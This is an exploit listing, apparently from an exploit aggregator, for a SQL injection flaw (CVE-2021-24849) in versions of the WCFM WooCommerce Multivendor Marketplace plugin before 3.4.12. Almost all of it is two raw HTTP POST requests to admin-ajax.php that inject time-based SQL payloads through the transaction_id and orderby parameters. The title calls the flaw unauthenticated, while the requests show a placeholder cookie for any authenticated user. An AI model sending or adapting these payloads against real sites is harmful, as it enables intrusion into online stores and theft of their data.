Exploit for WCFM - WooCommerce Multivendor Marketplace < 3.4.12 - Unauthenticated SQL Injection CVE-2021-24849

## https://sploitus.com/exploit?id=WPEX-ID:763C08A0-4B2B-4487-B91C-BE6CC2B9322E
v < 3.4.11

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [any authenticated user]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

action=wcfm_ajax_controller&controller=wcfm-refund-requests&transaction_id=1+union+select+1+and+sleep(10)--

v < 3.4.12

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [any authenticated user]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 145

action=wcfm_ajax_controller&controller=wcfm-refund-requests&transaction_id=1&orderby=ID`%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)--%20`